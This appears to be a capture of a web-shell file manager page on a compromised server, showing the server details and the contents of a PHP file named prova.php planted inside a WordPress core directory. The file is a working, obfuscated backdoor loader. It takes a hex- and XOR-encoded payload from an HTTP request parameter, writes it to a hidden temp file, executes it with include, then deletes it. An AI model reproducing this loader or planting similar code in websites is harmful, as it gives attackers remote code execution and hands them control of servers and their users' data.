HEX
Server: LiteSpeed
System: Linux php-prod-3.spaceapp.ru 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64
User: labhr1009 (1014)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/lab-hr.com/public_html/wp-includes/Requests/Transport/prova.php
<?php

if(!empty($_REQUEST["mr\x6B"])){
	$token = hex2bin($_REQUEST["mr\x6B"]);
	$object   =   ''      ;    foreach(str_split($token) as $char){$object .= chr(ord($char) ^ 83);}
	$key = array_filter([getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", "/var/tmp"]);
	foreach ($key as $tkn) {
    		if (max(0, is_dir($tkn) * is_writable($tkn))) {
    $dat = join("/", [$tkn, ".ent"]);
    if (@file_put_contents($dat, $object) !== false) {
	include $dat;
	unlink($dat);
	die();
}
}
}
}